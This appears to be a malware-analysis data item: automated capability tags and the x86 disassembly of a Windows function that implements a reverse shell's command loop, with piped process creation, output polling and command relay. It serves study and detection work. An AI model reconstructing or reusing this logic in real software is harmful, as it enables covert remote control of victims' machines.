Function at 0x4057a3
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes
Execute shell command and capture output
Read file on windows
Read pipe
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0x2c]
sub esp, 0x44
push ebx
push esi
push edi
mov edi, dword [eax]
or esi, 0xffffffff
mov eax, dword [0x46fe78]
xor ebx, ebx
cmp eax, dword [edi + 4]
jle 0x4057fb
push 0x46fe78
call fcn.0042fe69
pop ecx
cmp dword [0x46fe78], esi
jne 0x4057fb
push ebx
mov ecx, 0x46fdd8
call fcn.004047ef
push 0x453956
call fcn.004301f3
mov dword [esp], 0x46fe78
call fcn.0042fe2a
pop ecx
mov eax, dword [0x46fe58]
cmp eax, dword [edi + 4]
jle 0x405838
mov edi, 0x46fe58
push edi
call fcn.0042fe69
pop ecx
cmp dword [0x46fe58], esi
jne 0x405838
mov ecx, 0x46fe80
call fcn.004020c7
push 0x45394c
call fcn.004301f3
pop ecx
push edi
call fcn.0042fe2a
pop ecx
lea ecx, [ebp - 0x28]
call fcn.004020c7
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], ebx
cmp byte [0x46dad6], bl
jne 0x4059b9
mov edx, 0x460738
mov ecx, 0x46e300
call fcn.00405c1b
test al, al
je 0x405b3f
push 0x460740
call fcn.00437afa
pop ecx
mov esi, 0x46fe80
push eax
mov ecx, esi
call fcn.00405bb7
push str._nF2
mov ecx, esi
call fcn.00405479
mov esi, dword [sym.imp.KERNEL32.dll_CreatePipe]
push ebx
push 0x46fd80
push 0x46fe5c
push 0x46fe74
mov dword [0x46fd80], 0xc
mov dword [0x46fd88], 1
mov dword [0x46fd84], ebx
call esi
test eax, eax
je 0x405b61
push ebx
push 0x46fd80
push 0x46fe7c
push 0x46fe60
call esi
test eax, eax
je 0x405b61
push 0x44
pop esi
push esi
push ebx
push 0x46fd90
call fcn.00432d80
add esp, 0xc
mov dword [0x46fd90], esi
xor eax, eax
mov dword [0x46fdbc], 0x101
mov word [0x46fdc0], ax
mov ecx, 0x46fe80
mov eax, dword [0x46fe74]
push 0x46fe64
mov dword [0x46fdc8], eax
mov eax, dword [0x46fe7c]
push 0x46fd90
mov dword [0x46fdcc], eax
mov dword [0x46fdd0], eax
call fcn.00401f87
push eax
push ebx
push ebx
push 1
push ebx
mov esi, 0x46e300
push ebx
mov ecx, esi
call fcn.00401f87
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
mov ecx, esi
push 0x460734
setne byte [0x46dad6]
call fcn.00405bb7
mov esi, 0x46fdd8
mov byte [0x46dad7], 1
mov ecx, esi
call fcn.00404943
push ecx
mov ecx, esi
call fcn.004049de
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.004020de
push 0x93
mov ecx, esi
call fcn.00404bb7
push 0x12c
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x46dad6], bl
je 0x405b3f
push ebx
lea eax, [ebp - 8]
mov dword [ebp - 8], ebx
push eax
push ebx
push ebx
push ebx
push dword [0x46fe60]
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp dword [ebp - 8], ebx
jbe 0x405a79
push dword [ebp - 8]
call fcn.0043776e
pop ecx
push ebx
lea ecx, [ebp - 0xc]
mov dword [ebp - 0x10], eax
push ecx
push dword [ebp - 8]
push eax
push dword [0x46fe60]
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [ebp - 0xc], ebx
jbe 0x405a6e
cmp dword [ebp - 4], ebx
jbe 0x405a3a
push dword [ebp - 4]
lea ecx, [ebp - 0x28]
call fcn.00401f87
mov esi, dword [ebp - 0x10]
push eax
push esi
call fcn.00437780
add esp, 0xc
test eax, eax
jne 0x405a3d
push esi
lea ecx, [ebp - 0x40]
call fcn.00402076
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 4]
sub esp, 0x18
mov ecx, esp
push eax
push dword [ebp - 4]
jmp 0x405a4f
mov esi, dword [ebp - 0x10]
push esi
lea ecx, [ebp - 0x40]
call fcn.00402076
sub esp, 0x18
mov ecx, esp
push dword [ebp - 0xc]
push ebx
lea eax, [ebp - 0x40]
push eax
call fcn.00405bc0
push 0x62
mov ecx, 0x46fdd8
call fcn.00404bb7
lea ecx, [ebp - 0x40]
mov esi, eax
call fcn.00401fb9
push dword [ebp - 0x10]
call fcn.00437769
pop ecx
jmp 0x405a96
sub esp, 0x18
mov ecx, esp
push 0x460734
call fcn.00402076
push 0x62
mov ecx, 0x46fdd8
call fcn.00404bb7
mov esi, eax
movzx eax, byte [0x46dad7]
xor ecx, ecx
test esi, esi
cmovle eax, ecx
mov ecx, 0x46e300
mov byte [0x46dad7], al
call fcn.0040247b
test eax, eax
je 0x405b0b
push 0x460750
mov ecx, 0x46e300
call fcn.00405479
push 0x46e300
lea ecx, [ebp - 0x28]
call fcn.00401f9f
push ebx
lea eax, [ebp - 4]
mov ecx, 0x46e300
push eax
call fcn.0040247b
push eax
mov ecx, 0x46e300
call fcn.00401f87
push eax
push dword [0x46fe5c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x460734
mov ecx, 0x46e300
call fcn.00405bb7
jmp 0x405b0e
mov dword [ebp - 4], ebx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x46dad7], bl
jne 0x4059b9
push ebx
push dword [0x46fe64]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [0x46fe68]
call edi
push dword [0x46fe64]
call edi
mov ecx, 0x46fdd8
call fcn.00404f18
push dword [0x46fe60]
call edi
push dword [0x46fe7c]
call edi
mov byte [0x46dad6], bl
mov bl, 1
lea ecx, [ebp - 0x28]
call fcn.00401fb9
lea ecx, [ebp + 8]
call fcn.00401fb9
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret